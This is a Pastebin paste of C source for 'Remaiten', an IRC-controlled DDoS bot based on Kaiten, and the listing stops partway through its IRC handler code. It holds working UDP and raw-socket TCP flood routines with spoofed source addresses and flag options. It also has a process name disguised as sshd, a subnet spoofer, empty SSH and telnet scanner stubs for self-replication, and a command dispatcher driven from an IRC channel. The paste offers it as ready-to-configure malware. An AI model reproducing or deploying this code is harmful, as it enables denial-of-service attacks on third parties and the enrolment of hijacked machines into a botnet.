Advertisement
Guest User

Remaiten

a guest
Oct 20th, 2017
219
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 37.06 KB | None | 0 0
  1. /*
  2. /$$$$$$$ /$$ /$$
  3. | $$__ $$ |__/ | $$
  4. | $$ \ $$ /$$$$$$ /$$$$$$/$$$$ /$$$$$$ /$$ /$$$$$$ /$$$$$$ /$$$$$$$
  5. | $$$$$$$/ /$$__ $$| $$_ $$_ $$ |____ $$| $$|_ $$_/ /$$__ $$| $$__ $$
  6. | $$__ $$| $$$$$$$$| $$ \ $$ \ $$ /$$$$$$$| $$ | $$ | $$$$$$$$| $$ \ $$
  7. | $$ \ $$| $$_____/| $$ | $$ | $$ /$$__ $$| $$ | $$ /$$| $$_____/| $$ | $$
  8. | $$ | $$| $$$$$$$| $$ | $$ | $$| $$$$$$$| $$ | $$$$/| $$$$$$$| $$ | $$
  9. |__/ |__/ \_______/|__/ |__/ |__/ \_______/|__/ \___/ \_______/|__/ |__/
  10.  
  11. Created By ~ Unknown
  12. Based On ~ Kaiten
  13.  
  14.  
  15. */
  16.  
  17. /********************************************************************\
  18. | CONFIGURE THESE |
  19. \********************************************************************/
  20.  
  21. // #### DEFAULT SETTINGS #### //
  22. int numservers=1;
  23. char *servers[] = {
  24. "SERVERIP",
  25. (void*)0
  26. };
  27. static char *irc_port = ("443");
  28. static char *irc_chan = ("#FROG");
  29. char *admin = ("ADMIN USER");
  30. char *bot_prefix = ("FROG");
  31.  
  32. // #### ATTACK MESSAGES #### //
  33. /* leave a space at the end of each msg for the ip address of the target */
  34. char *unk_msg = ("[UNK] Attacking");
  35. char *udp_msg = ("[UDP] Attacking");
  36. char *std_msg = ("[STD] Attacking");
  37. char *tcp_msg = ("[TCP] Attacking");
  38. char *syn_msg = ("[SYN] Attacking");
  39. char *ack_msg = ("[ACK] Attacking");
  40. char *fin_msg = ("[FIN] Attacking");
  41. char *rst_msg = ("[RST] Attacking");
  42. char *psh_msg = ("[PSH] Attacking");
  43.  
  44. // #### OTHER SETTINGS #### //
  45. #undef IDENT
  46. #define KEY ""
  47. #define PASS ""
  48. #define STARTUP
  49.  
  50.  
  51.  
  52.  
  53. /********************************************************************\
  54. | DO NOT EDIT UNLESS YOU GANGSTER AF |
  55. \********************************************************************/
  56. #define PREFIX ("%s",bot_prefix)
  57. #define PORT atol(irc_port)
  58. #define CHAN ("%s",irc_chan)
  59.  
  60. #define STD2_SIZE 50
  61. #define STD2_STRING "std"
  62. #define FAKENAME "/usr/bin/sshd"
  63.  
  64. #define PAD_RIGHT 1
  65. #define PAD_ZERO 2
  66. #define PRINT_BUF_LEN 12
  67. #define CMD_IAC 255
  68. #define CMD_WILL 251
  69. #define CMD_WONT 252
  70. #define CMD_DO 253
  71. #define CMD_DONT 254
  72. #define OPT_SGA 3
  73.  
  74. #include <stdlib.h>
  75. #include <stdarg.h>
  76. #include <stdio.h>
  77. #include <sys/socket.h>
  78. #include <sys/types.h>
  79. #include <netinet/in.h>
  80. #include <arpa/inet.h>
  81. #include <netdb.h>
  82. #include <signal.h>
  83. #include <strings.h>
  84. #include <string.h>
  85. #include <sys/utsname.h>
  86. #include <unistd.h>
  87. #include <fcntl.h>
  88. #include <errno.h>
  89. #include <netinet/ip.h>
  90. #include <netinet/udp.h>
  91. #include <netinet/tcp.h>
  92. #include <sys/wait.h>
  93. #include <sys/ioctl.h>
  94. #include <net/if.h>
  95.  
  96. int sock,changeservers=0;
  97. char *server, *chan, *key, *nick, *ident, *prefix, *user, *pass, disabled=0, udpTry = 0;
  98. unsigned int *pids;
  99. unsigned long spoofs=0, spoofsm=0, numpids=0;
  100.  
  101. int strwildmatch(unsigned char* pattern, unsigned char* string) {
  102. switch((unsigned char)*pattern) {
  103. case '\0': return *string;
  104. case 'b': return !(!strwildmatch(pattern+1, string) || *string && !strwildmatch(pattern, string+1));
  105. case 'o': return !(!strwildmatch(pattern+1, string) || *string && !strwildmatch(pattern, string+1));
  106. case 't': return !(!strwildmatch(pattern+1, string) || *string && !strwildmatch(pattern, string+1));
  107. case 'B': return !(!strwildmatch(pattern+1, string) || *string && !strwildmatch(pattern, string+1));
  108. case 'O': return !(!strwildmatch(pattern+1, string) || *string && !strwildmatch(pattern, string+1));
  109. case 'T': return !(!strwildmatch(pattern+1, string) || *string && !strwildmatch(pattern, string+1));
  110. case '?': return !(*string && !strwildmatch(pattern+1, string+1));
  111. default: return !((toupper(*pattern) == toupper(*string)) && !strwildmatch(pattern+1, string+1));
  112. }
  113. }
  114. int Send(int sock, char *words, ...) {
  115. static char textBuffer[1024];
  116. va_list args;
  117. va_start(args, words);
  118. vsprintf(textBuffer, words, args);
  119. va_end(args);
  120. return write(sock,textBuffer,strlen(textBuffer));
  121. }
  122. unsigned int host2ip(char *sender,char *hostname) {
  123. static struct in_addr i;
  124. struct hostent *h;
  125. if((i.s_addr = inet_addr(hostname)) == -1) {
  126. if((h = gethostbyname(hostname)) == NULL) {
  127. Send(sock, "NOTICE %s :Unable to resolve %s\n", sender,hostname);
  128. exit(0);
  129. }
  130. bcopy(h->h_addr, (char *)&i.s_addr, h->h_length);
  131. }
  132. return i.s_addr;
  133. }
  134. int mfork(char *sender) {
  135. unsigned int parent, *newpids, i;
  136. if (disabled == 1) {
  137. Send(sock,"NOTICE %s :Unable to comply.\n",sender);
  138. return 1;
  139. }
  140. parent=fork();
  141. if (parent <= 0) return parent;
  142. numpids++;
  143. newpids=(unsigned int*)malloc((numpids+1)*sizeof(unsigned int));
  144. for (i=0;i<numpids-1;i++) newpids[i]=pids[i];
  145. newpids[numpids-1]=parent;
  146. free(pids);
  147. pids=newpids;
  148. return parent;
  149. }
  150. void filter(char *a) { while(a[strlen(a)-1] == '\r' || a[strlen(a)-1] == '\n') a[strlen(a)-1]=0; }
  151. char *makestring() {
  152. char *tmp;
  153. int len=(rand()%5)+4,i;
  154. FILE *file;
  155. tmp=(char*)malloc(len+1);
  156. memset(tmp,0,len+1);
  157. char *pre;
  158. if ((file=fopen("/usr/dict/words","r")) == NULL) for (i=0;i<len;i++) tmp[i]=(rand()%(91-65))+65;
  159. else {
  160. int a=((rand()*rand())%45402)+1;
  161. char buf[1024];
  162. for (i=0;i<a;i++) fgets(buf,1024,file);
  163. memset(buf,0,1024);
  164. fgets(buf,1024,file);
  165. filter(buf);
  166. memcpy(tmp,buf,len);
  167. fclose(file);
  168. }
  169. return tmp;
  170. }
  171. void identd() {
  172. int sockname,sockfd,sin_size,tmpsock,i;
  173. struct sockaddr_in my_addr,their_addr;
  174. char szBuffer[1024];
  175. if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) return;
  176. my_addr.sin_family = AF_INET;
  177. my_addr.sin_port = htons(113);
  178. my_addr.sin_addr.s_addr = INADDR_ANY;
  179. memset(&(my_addr.sin_zero), 0, 8);
  180. if (bind(sockfd, (struct sockaddr *)&my_addr, sizeof(struct sockaddr)) == -1) return;
  181. if (listen(sockfd, 1) == -1) return;
  182. if (fork() == 0) return;
  183. sin_size = sizeof(struct sockaddr_in);
  184. if ((tmpsock = accept(sockfd, (struct sockaddr *)&their_addr, &sin_size)) == -1) exit(0);
  185. for(;;) {
  186. fd_set bla;
  187. struct timeval timee;
  188. FD_ZERO(&bla);
  189. FD_SET(tmpsock,&bla);
  190. timee.tv_sec=timee.tv_usec=60;
  191. if (select(tmpsock + 1,&bla,(fd_set*)0,(fd_set*)0,&timee) < 0) exit(0);
  192. if (FD_ISSET(tmpsock,&bla)) break;
  193. }
  194. i = recv(tmpsock,szBuffer,1024,0);
  195. if (i <= 0 || i >= 20) exit(0);
  196. szBuffer[i]=0;
  197. if (szBuffer[i-1] == '\n' || szBuffer[i-1] == '\r') szBuffer[i-1]=0;
  198. if (szBuffer[i-2] == '\n' || szBuffer[i-2] == '\r') szBuffer[i-2]=0;
  199. Send(tmpsock,"%s : USERID : UNIX : %s\n",szBuffer,ident);
  200. close(tmpsock);
  201. close(sockfd);
  202. exit(0);
  203. }
  204. long pow(long a, long b) {
  205. if (b == 0) return 1;
  206. if (b == 1) return a;
  207. return a*pow(a,b-1);
  208. }
  209. u_short in_cksum(u_short *addr, int len) {
  210. register int nleft = len;
  211. register u_short *w = addr;
  212. register int sum = 0;
  213. u_short answer =0;
  214. while (nleft > 1) {
  215. sum += *w++;
  216. nleft -= 2;
  217. }
  218. if (nleft == 1) {
  219. *(u_char *)(&answer) = *(u_char *)w;
  220. sum += answer;
  221. }
  222. sum = (sum >> 16) + (sum & 0xffff);
  223. sum += (sum >> 16);
  224. answer = ~sum;
  225. return(answer);
  226. }
  227. unsigned long getspoof() {
  228. if (!spoofs) return rand();
  229. if (spoofsm == 1) return ntohl(spoofs);
  230. return ntohl(spoofs+(rand() % spoofsm)+1);
  231. }
  232. struct send_tcp {
  233. struct iphdr ip;
  234. struct tcphdr tcp;
  235. char buf[20];
  236. };
  237. struct pseudo_header {
  238. unsigned int source_address;
  239. unsigned int dest_address;
  240. unsigned char placeholder;
  241. unsigned char protocol;
  242. unsigned short tcp_length;
  243. struct tcphdr tcp;
  244. char buf[20];
  245. };
  246. int getHost(unsigned char *toGet, struct in_addr *i) {
  247. struct hostent *h;
  248. if((i->s_addr = inet_addr(toGet)) == -1) return 1;
  249. return 0;
  250. }
  251.  
  252.  
  253.  
  254.  
  255. /*
  256. /$$ /$$ /$$ /$$ /$$
  257. | $$$ /$$$ | $$ | $$ | $$
  258. | $$$$ /$$$$ /$$$$$$ /$$$$$$ | $$$$$$$ /$$$$$$ /$$$$$$$ /$$$$$$$
  259. | $$ $$/$$ $$ /$$__ $$|_ $$_/ | $$__ $$ /$$__ $$ /$$__ $$ /$$_____/
  260. | $$ $$$| $$| $$$$$$$$ | $$ | $$ \ $$| $$ \ $$| $$ | $$| $$$$$$
  261. | $$\ $ | $$| $$_____/ | $$ /$$| $$ | $$| $$ | $$| $$ | $$ \____ $$
  262. | $$ \/ | $$| $$$$$$$ | $$$$/| $$ | $$| $$$$$$/| $$$$$$$ /$$$$$$$/
  263. |__/ |__/ \_______/ \___/ |__/ |__/ \______/ \_______/|_______/
  264. */
  265.  
  266.  
  267. // ***************************************************** \\
  268. // # STD FLOODER # \\
  269. // ***************************************************** \\*
  270. void std(int sock, char *sender, int argc, char **argv) {
  271. int flag=1,fd,i;
  272. unsigned long secs;
  273. struct hostent *hp;
  274. struct sockaddr_in in;
  275. time_t start=time(NULL);
  276. if (mfork(sender) != 0) return;
  277. if (argc < 2) {
  278. //Send(sock,"NOTICE %s :STD <target> <port> <secs>\n",sender);
  279. exit(1);
  280. }
  281. secs=atol(argv[3]);
  282. memset((void*)&in,0,sizeof(struct sockaddr_in));
  283. in.sin_addr.s_addr=host2ip(sender,argv[1]);
  284. in.sin_family = AF_INET;
  285. Send(sock,"NOTICE %s :%s %s\n",sender,std_msg,argv[1]);
  286. while(1) {
  287. in.sin_port = atol(argv[2]);
  288. if ((fd = socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP)) < 0);
  289. else {
  290. flag=1;
  291. ioctl(fd,FIONBIO,&flag);
  292. sendto(fd,STD2_STRING,STD2_SIZE,0,(struct sockaddr*)&in,sizeof(in));
  293. close(fd);
  294. }
  295. if (i >= 50) {
  296. if (time(NULL) >= start+secs) break;
  297. i=0;
  298. }
  299. i++;
  300. }
  301. close(fd);
  302. exit(0);
  303. }
  304.  
  305.  
  306. // ***************************************************** \\
  307. // # UDP FLOODER # \\
  308. // ***************************************************** \\*
  309. void udp(int sock, char *sender, int argc, char **argv) {
  310. int flag=1,fd,i;
  311. unsigned long secs;
  312. char *buf=(char*)malloc(9216);
  313. struct hostent *hp;
  314. struct sockaddr_in in;
  315. time_t start=time(NULL);
  316. if (mfork(sender) != 0) return;
  317. if (argc < 2) {
  318. //Send(sock,"NOTICE %s :UDP <target> <port> <secs>\n",sender);
  319. exit(1);
  320. }
  321. secs=atol(argv[3]);
  322. memset((void*)&in,0,sizeof(struct sockaddr_in));
  323. in.sin_addr.s_addr=host2ip(sender,argv[1]);
  324. in.sin_family = AF_INET;
  325. Send(sock,"NOTICE %s :%s %s\n",sender,udp_msg,argv[1]);
  326. while(1) {
  327. in.sin_port = atol(argv[2]);
  328. if ((fd = socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP)) < 0);
  329. else {
  330. flag=1;
  331. ioctl(fd,FIONBIO,&flag);
  332. sendto(fd,buf,9216,0,(struct sockaddr*)&in,sizeof(in));
  333. close(fd);
  334. }
  335. if (i >= 50) {
  336. if (time(NULL) >= start+secs) break;
  337. i=0;
  338. }
  339. i++;
  340. }
  341. close(fd);
  342. exit(0);
  343. }
  344.  
  345.  
  346. // ***************************************************** \\
  347. // # UNKNOWN FLOODER # \\
  348. // ***************************************************** \\*
  349. void unk(int sock, char *sender, int argc, char **argv) {
  350. int flag=1,fd,i;
  351. unsigned long secs;
  352. char *buf=(char*)malloc(9216);
  353. struct hostent *hp;
  354. struct sockaddr_in in;
  355. time_t start=time(NULL);
  356. if (mfork(sender) != 0) return;
  357. if (argc < 2) {
  358. //Send(sock,"NOTICE %s :UNKNOWN <target> <secs>\n",sender);
  359. exit(1);
  360. }
  361. secs=atol(argv[2]);
  362. memset((void*)&in,0,sizeof(struct sockaddr_in));
  363. in.sin_addr.s_addr=host2ip(sender,argv[1]);
  364. in.sin_family = AF_INET;
  365. Send(sock,"NOTICE %s :%s %s\n",sender,unk_msg,argv[1]);
  366. while(1) {
  367. in.sin_port = rand();
  368. if ((fd = socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP)) < 0);
  369. else {
  370. flag=1;
  371. ioctl(fd,FIONBIO,&flag);
  372. sendto(fd,buf,9216,0,(struct sockaddr*)&in,sizeof(in));
  373. close(fd);
  374. }
  375. if (i >= 50) {
  376. if (time(NULL) >= start+secs) break;
  377. i=0;
  378. }
  379. i++;
  380. }
  381. close(fd);
  382. exit(0);
  383. }
  384.  
  385.  
  386. // ***************************************************** \\
  387. // # TCP FLOODER # \\
  388. // ***************************************************** \\*
  389.  
  390. // #### TCP ATTACK DEPENDENCIES #### //
  391. struct in_addr ourIP;
  392. unsigned char macAddress[6] = {0};
  393. static uint32_t Q[4096], c = 362436;
  394. unsigned short csum (unsigned short *buf, int count)
  395. {
  396. register uint64_t sum = 0;
  397. while( count > 1 ) { sum += *buf++; count -= 2; }
  398. if(count > 0) { sum += *(unsigned char *)buf; }
  399. while (sum>>16) { sum = (sum & 0xffff) + (sum >> 16); }
  400. return (uint16_t)(~sum);
  401. }
  402. uint32_t rand_cmwc(void)
  403. {
  404. uint64_t t, a = 18782LL;
  405. static uint32_t i = 4095;
  406. uint32_t x, r = 0xfffffffe;
  407. i = (i + 1) & 4095;
  408. t = a * Q[i] + c;
  409. c = (uint32_t)(t >> 32);
  410. x = t + c;
  411. if (x < c) {
  412. x++;
  413. c++;
  414. }
  415. return (Q[i] = r - x);
  416. }
  417. in_addr_t getRandomIP(in_addr_t netmask)
  418. {
  419. in_addr_t tmp = ntohl(ourIP.s_addr) & netmask;
  420. return tmp ^ ( rand_cmwc() & ~netmask);
  421. }
  422. unsigned short tcpcsum(struct iphdr *iph, struct tcphdr *tcph)
  423. {
  424.  
  425. struct tcp_pseudo
  426. {
  427. unsigned long src_addr;
  428. unsigned long dst_addr;
  429. unsigned char zero;
  430. unsigned char proto;
  431. unsigned short length;
  432. } pseudohead;
  433. unsigned short total_len = iph->tot_len;
  434. pseudohead.src_addr=iph->saddr;
  435. pseudohead.dst_addr=iph->daddr;
  436. pseudohead.zero=0;
  437. pseudohead.proto=IPPROTO_TCP;
  438. pseudohead.length=htons(sizeof(struct tcphdr));
  439. int totaltcp_len = sizeof(struct tcp_pseudo) + sizeof(struct tcphdr);
  440. unsigned short *tcp = malloc(totaltcp_len);
  441. memcpy((unsigned char *)tcp,&pseudohead,sizeof(struct tcp_pseudo));
  442. memcpy((unsigned char *)tcp+sizeof(struct tcp_pseudo),(unsigned char *)tcph,sizeof(struct tcphdr));
  443. unsigned short output = csum(tcp,totaltcp_len);
  444. free(tcp);
  445. return output;
  446. }
  447. void makeIPPacket(struct iphdr *iph, uint32_t dest, uint32_t source, uint8_t protocol, int packetSize)
  448. {
  449. iph->ihl = 5;
  450. iph->version = 4;
  451. iph->tos = 0;
  452. iph->tot_len = sizeof(struct iphdr) + packetSize;
  453. iph->id = rand_cmwc();
  454. iph->frag_off = 0;
  455. iph->ttl = MAXTTL;
  456. iph->protocol = protocol;
  457. iph->check = 0;
  458. iph->saddr = source;
  459. iph->daddr = dest;
  460. }
  461. unsigned char *fdgets(unsigned char *buffer, int bufferSize, int fd)
  462. {
  463. int got = 1, total = 0;
  464. while(got == 1 && total < bufferSize && *(buffer + total - 1) != '\n') { got = read(fd, buffer + total, 1); total++; }
  465. return got == 0 ? NULL : buffer;
  466. }
  467. int getOurIP()
  468. {
  469. int sock = socket(AF_INET, SOCK_DGRAM, 0);
  470. if(sock == -1) return 0;
  471.  
  472. struct sockaddr_in serv;
  473. memset(&serv, 0, sizeof(serv));
  474. serv.sin_family = AF_INET;
  475. serv.sin_addr.s_addr = inet_addr("8.8.8.8");
  476. serv.sin_port = htons(53);
  477.  
  478. int err = connect(sock, (const struct sockaddr*) &serv, sizeof(serv));
  479. if(err == -1) return 0;
  480.  
  481. struct sockaddr_in name;
  482. socklen_t namelen = sizeof(name);
  483. err = getsockname(sock, (struct sockaddr*) &name, &namelen);
  484. if(err == -1) return 0;
  485.  
  486. ourIP.s_addr = name.sin_addr.s_addr;
  487.  
  488. int cmdline = open("/proc/net/route", O_RDONLY);
  489. char linebuf[4096];
  490. while(fdgets(linebuf, 4096, cmdline) != NULL)
  491. {
  492. if(strstr(linebuf, "\t00000000\t") != NULL)
  493. {
  494. unsigned char *pos = linebuf;
  495. while(*pos != '\t') pos++;
  496. *pos = 0;
  497. break;
  498. }
  499. memset(linebuf, 0, 4096);
  500. }
  501. close(cmdline);
  502.  
  503. if(*linebuf)
  504. {
  505. int i;
  506. struct ifreq ifr;
  507. strcpy(ifr.ifr_name, linebuf);
  508. ioctl(sock, SIOCGIFHWADDR, &ifr);
  509. for (i=0; i<6; i++) macAddress[i] = ((unsigned char*)ifr.ifr_hwaddr.sa_data)[i];
  510. }
  511.  
  512. close(sock);
  513. }
  514.  
  515. // #### TCP ATTACK FUNCTION #### //
  516. void tcp(int sock, char *sender, int argc, char **argv)
  517. {
  518. if(argc < 7) {
  519. // do nothing
  520. } else {
  521. register unsigned int pollRegister;
  522. pollRegister = atol(argv[7]);
  523.  
  524. struct sockaddr_in dest_addr;
  525.  
  526. dest_addr.sin_family = AF_INET;
  527. if(atol(argv[2]) == 0) dest_addr.sin_port = rand_cmwc();
  528. else dest_addr.sin_port = atol(argv[2]);
  529. if(getHost(strdup(argv[1]), &dest_addr.sin_addr)) return;
  530. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  531.  
  532. int sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP);
  533. if(!sockfd)
  534. {
  535. //sockprintf(mainCommSock, "Failed opening raw socket.");
  536. return;
  537. }
  538.  
  539. int tmp = 1;
  540. if(setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &tmp, sizeof (tmp)) < 0)
  541. {
  542. //sockprintf(mainCommSock, "Failed setting raw headers mode.");
  543. return;
  544. }
  545.  
  546. in_addr_t netmask;
  547.  
  548. if ( atol(argv[4]) == 0 ) netmask = ( ~((in_addr_t) -1) );
  549. else netmask = ( ~((1 << (32 - atol(argv[4]))) - 1) );
  550.  
  551. unsigned char packet[sizeof(struct iphdr) + sizeof(struct tcphdr) + atol(argv[6])];
  552. struct iphdr *iph = (struct iphdr *)packet;
  553. struct tcphdr *tcph = (void *)iph + sizeof(struct iphdr);
  554.  
  555. makeIPPacket(iph, dest_addr.sin_addr.s_addr, htonl( getRandomIP(netmask) ), IPPROTO_TCP, sizeof(struct tcphdr) + atol(argv[6]));
  556.  
  557. tcph->source = rand_cmwc();
  558. tcph->seq = rand_cmwc();
  559. tcph->ack_seq = 0;
  560. tcph->doff = 5;
  561.  
  562. if(!strcmp(strdup(argv[5]), "all"))
  563. {
  564. tcph->syn = 1;
  565. tcph->rst = 1;
  566. tcph->fin = 1;
  567. tcph->ack = 1;
  568. tcph->psh = 1;
  569. Send(sock,"NOTICE %s :%s %s\n",sender,tcp_msg,argv[1]);
  570. } else {
  571. unsigned char *pch = strtok(strdup(argv[5]), ",");
  572. while(pch)
  573. {
  574. if(!strcmp(pch, "syn"))
  575. {
  576. tcph->syn = 1;
  577. Send(sock,"NOTICE %s :%s %s\n",sender,syn_msg,argv[1]);
  578. } else if(!strcmp(pch, "rst"))
  579. {
  580. tcph->rst = 1;
  581. Send(sock,"NOTICE %s :%s %s\n",sender,rst_msg,argv[1]);
  582. } else if(!strcmp(pch, "fin"))
  583. {
  584. tcph->fin = 1;
  585. Send(sock,"NOTICE %s :%s %s\n",sender,fin_msg,argv[1]);
  586. } else if(!strcmp(pch, "ack"))
  587. {
  588. tcph->ack = 1;
  589. Send(sock,"NOTICE %s :%s %s\n",sender,ack_msg,argv[1]);
  590. } else if(!strcmp(pch, "psh"))
  591. {
  592. tcph->psh = 1;
  593. Send(sock,"NOTICE %s :%s %s\n",sender,psh_msg,argv[1]);
  594. } else {
  595. //sockprintf(mainCommSock, "Invalid flag \"%s\"", pch);
  596. }
  597. pch = strtok(NULL, ",");
  598. }
  599. }
  600.  
  601. tcph->window = rand_cmwc();
  602. tcph->check = 0;
  603. tcph->urg_ptr = 0;
  604. tcph->dest = (atol(argv[2]) == 0 ? rand_cmwc() : atol(argv[2]));
  605. tcph->check = tcpcsum(iph, tcph);
  606.  
  607. iph->check = csum ((unsigned short *) packet, iph->tot_len);
  608.  
  609. int end = time(NULL) + atol(argv[3]);
  610. register unsigned int i = 0;
  611. while(1)
  612. {
  613. sendto(sockfd, packet, sizeof(packet), 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
  614.  
  615. iph->saddr = htonl( getRandomIP(netmask) );
  616. iph->id = rand_cmwc();
  617. tcph->seq = rand_cmwc();
  618. tcph->source = rand_cmwc();
  619. tcph->check = 0;
  620. tcph->check = tcpcsum(iph, tcph);
  621. iph->check = csum ((unsigned short *) packet, iph->tot_len);
  622.  
  623. if(i == pollRegister)
  624. {
  625. if(time(NULL) > end) break;
  626. i = 0;
  627. continue;
  628. }
  629. i++;
  630. }
  631. }
  632. }
  633.  
  634.  
  635. // ***************************************************** \\
  636. // # SELF REPLICATION # \\
  637. // ***************************************************** \\*
  638.  
  639. // #### SSH SCANNER #### //
  640. void ssh_scan(int sock, char *sender, int argc, char **argv) {
  641.  
  642. }
  643.  
  644.  
  645. // #### TELNET SCANNER #### //
  646. void telnet_scan(int sock, char *sender, int argc, char **argv) {
  647.  
  648. }
  649.  
  650.  
  651. // ***************************************************** \\
  652. // # BOTKILLER # \\
  653. // ***************************************************** \\*
  654. void killsec(int sock, char *sender, int argc, char **argv) {
  655. if(strcasecmp(admin,sender) == 0){
  656. kill(0,9);
  657. } else {
  658. Send(sock,"PRIVMSG %s :You do not have permission to do this.\n", chan);
  659. }
  660. }
  661.  
  662. // ***************************************************** \\
  663. // # STOP ALL ATTACKS # \\
  664. // ***************************************************** \\*
  665. void stop(int sock, char *sender, int argc, char **argv){
  666. unsigned long i;
  667. for (i=0;i<numpids;i++) {
  668. if (pids[i] != 0 && pids[i] != getpid()) {
  669. if (sender) Send(sock,"PRIVMSG %s :Killing PID %d.\n",chan,pids[i]);
  670. kill(pids[i],9);
  671. }
  672. }
  673. for (i = 0; i < numpids; i++) {
  674. if (pids[i] != 0 && pids[i] != getpid()) {
  675. kill(pids[i], 9);
  676. }
  677. }
  678. }
  679.  
  680. // ***************************************************** \\
  681. // # SUBNET SPOOFER # \\
  682. // ***************************************************** \\*
  683. void spoof(int sock, char *sender, int argc, char **argv) {
  684. char ip[256];
  685. int i, num;
  686. unsigned long uip;
  687. if (argc != 1) {
  688. Send(sock,"NOTICE %s :Removed all spoofs\n",sender);
  689. spoofs=0;
  690. spoofsm=0;
  691. return;
  692. }
  693. if (strlen(argv[1]) > 16) {
  694. Send(sock,"NOTICE %s :What kind of subnet address is that? Do something like: 169.40\n",sender);
  695. return;
  696. }
  697. strcpy(ip,argv[1]);
  698. if (ip[strlen(ip)-1] == '.') ip[strlen(ip)-1] = 0;
  699. for (i=0, num=1;i<strlen(ip);i++) if (ip[i] == '.') num++;
  700. num=-(num-4);
  701. for (i=0;i<num;i++) strcat(ip,".0");
  702. uip=inet_network(ip);
  703. if (num == 0) spoofsm=1;
  704. else spoofsm=pow(256,num);
  705. spoofs=uip;
  706. Send(sock,"NOTICE %s :Subnet Has Been Spoofed - %s.\n",sender, argv[1]);
  707. }
  708. void getspoofs(int sock, char *sender, int argc, char **argv) {
  709. unsigned long a=spoofs,b=spoofs+(spoofsm-1);
  710. if (spoofsm == 1) Send(sock,"NOTICE %s :Spoofs: %d.%d.%d.%d\n",sender,((u_char*)&a)[3],((u_char*)&a)[2],((u_char*)&a)[1],((u_char*)&a)[0]);
  711. else Send(sock,"NOTICE %s :Spoofs: %d.%d.%d.%d - %d.%d.%d.%d\n",sender,((u_char*)&a)[3],((u_char*)&a)[2],((u_char*)&a)[1],((u_char*)&a)[0],((u_char*)&b)[3],((u_char*)&b)[2],((u_char*)&b)[1],((u_char*)&b)[0]);
  712. }
  713.  
  714.  
  715. // ***************************************************** \\
  716. // # SERVER CHANGER # \\
  717. // ***************************************************** \\*
  718. void move(int sock, char *sender, int argc, char **argv) {
  719. if (argc < 1) {
  720. // do nothing
  721. } else {
  722. if(strcasecmp(admin,sender) == 0) {
  723. server = strdup(argv[1]);
  724. changeservers = 1;
  725. close(sock);
  726. } else {
  727. Send(sock,"PRIVMSG %s :You do not have permission to do this.\n", chan);
  728. }
  729. }
  730. }
  731.  
  732.  
  733. // ***************************************************** \\
  734. // # COMMAND LIST # \\
  735. // ***************************************************** \\*
  736. struct FMessages { char *cmd; void (* func)(int,char *,int,char **); } flooders[] = {
  737. { "+std" , std },
  738. { "+udp" , udp },
  739. { "+unk" , unk },
  740. { "+tcp" , tcp },
  741.  
  742. { "+spoof" , spoof },
  743. { "+server" , move },
  744. { "+subnet" , getspoofs },
  745. { "+botkill" , killsec },
  746. { "+killattk" , stop },
  747.  
  748.  
  749. { (char *)0, (void (*)(int,char *,int,char **))0 } };
  750.  
  751.  
  752.  
  753.  
  754.  
  755. /*
  756. /$$ /$$ /$$$$$$ /$$ /$$ /$$$$$$ /$$ /$$ /$$
  757. | $$$ /$$$ /$$__ $$ | $$ | $$ /$$__ $$| $$ |__/ | $$
  758. | $$$$ /$$$$ /$$$$$$ /$$$$$$ /$$$$$$ | $$ \ $$ /$$$$$$ | $$$$$$$ /$$$$$$ /$$$$$$ | $$ \__/| $$$$$$$ /$$ /$$$$$$
  759. | $$ $$/$$ $$ /$$__ $$ /$$__ $$ /$$__ $$ | $$ | $$|_ $$_/ | $$__ $$ /$$__ $$ /$$__ $$ | $$$$$$ | $$__ $$| $$|_ $$_/
  760. | $$ $$$| $$| $$ \ $$| $$ \__/| $$$$$$$$ | $$ | $$ | $$ | $$ \ $$| $$$$$$$$| $$ \__/ \____ $$| $$ \ $$| $$ | $$
  761. | $$\ $ | $$| $$ | $$| $$ | $$_____/ | $$ | $$ | $$ /$$| $$ | $$| $$_____/| $$ /$$ \ $$| $$ | $$| $$ | $$ /$$
  762. | $$ \/ | $$| $$$$$$/| $$ | $$$$$$$ | $$$$$$/ | $$$$/| $$ | $$| $$$$$$$| $$ | $$$$$$/| $$ | $$| $$ | $$$$/
  763. |__/ |__/ \______/ |__/ \_______/ \______/ \___/ |__/ |__/ \_______/|__/ \______/ |__/ |__/|__/ \___/
  764. */
  765. void _PRIVMSG(int sock, char *sender, char *str) {
  766. int i;
  767. char *to, *message;
  768.  
  769. for (i=0;i<strlen(str) && str[i] != ' ';i++);
  770. str[i]=0;
  771. to=str;
  772. message=str+i+2;
  773. for (i=0;i<strlen(sender) && sender[i] != '!';i++);
  774. sender[i]=0;
  775. if (*message == '>' && !strcasecmp(to,chan)) {
  776. char *params[12], name[1024]={0};
  777. int num_params=0, m;
  778. message++;
  779. for (i=0;i<strlen(message) && message[i] != ' ';i++);
  780. message[i]=0;
  781. if (strwildmatch(message,nick)) return;
  782. message+=i+1;
  783. m=strlen(message);
  784. for (i=0;i<m;i++) {
  785. if (*message == ' ' || *message == 0) break;
  786. name[i]=*message;
  787. message++;
  788. }
  789. for (i=0;i<strlen(message);i++) if (message[i] == ' ') num_params++;
  790. num_params++;
  791. if (num_params > 10) num_params=10;
  792. params[0]=name;
  793. params[num_params+1]="\0";
  794. m=1;
  795. while (*message != 0) {
  796. message++;
  797. if (m >= num_params) break;
  798. for (i=0;i<strlen(message) && message[i] != ' ';i++);
  799. params[m]=(char*)malloc(i+1);
  800. strncpy(params[m],message,i);
  801. params[m][i]=0;
  802. m++;
  803. message+=i;
  804. }
  805. for (m=0; flooders[m].cmd != (char *)0; m++) {
  806. if (!strcasecmp(flooders[m].cmd,name)) {
  807. flooders[m].func(sock,sender,num_params-1,params);
  808. for (i=1;i<num_params;i++) free(params[i]);
  809. return;
  810. }
  811. }
  812. }
  813. }
  814. void _376(int sock, char *sender, char *str) {
  815. Send(sock,"MODE %s +pixB\n",nick);
  816. Send(sock,"JOIN %s :%s\n",chan,key);
  817. Send(sock,"WHO %s\n",nick);
  818. }
  819. void _PING(int sock, char *sender, char *str) {
  820.  
  821. Send(sock,"PONG %s\n",str);
  822.  
  823. }
  824.  
  825. void _352(int sock, char *sender, char *str) {
  826. int i,d;
  827. char *msg=str;
  828. struct hostent *hostm;
  829. unsigned long m;
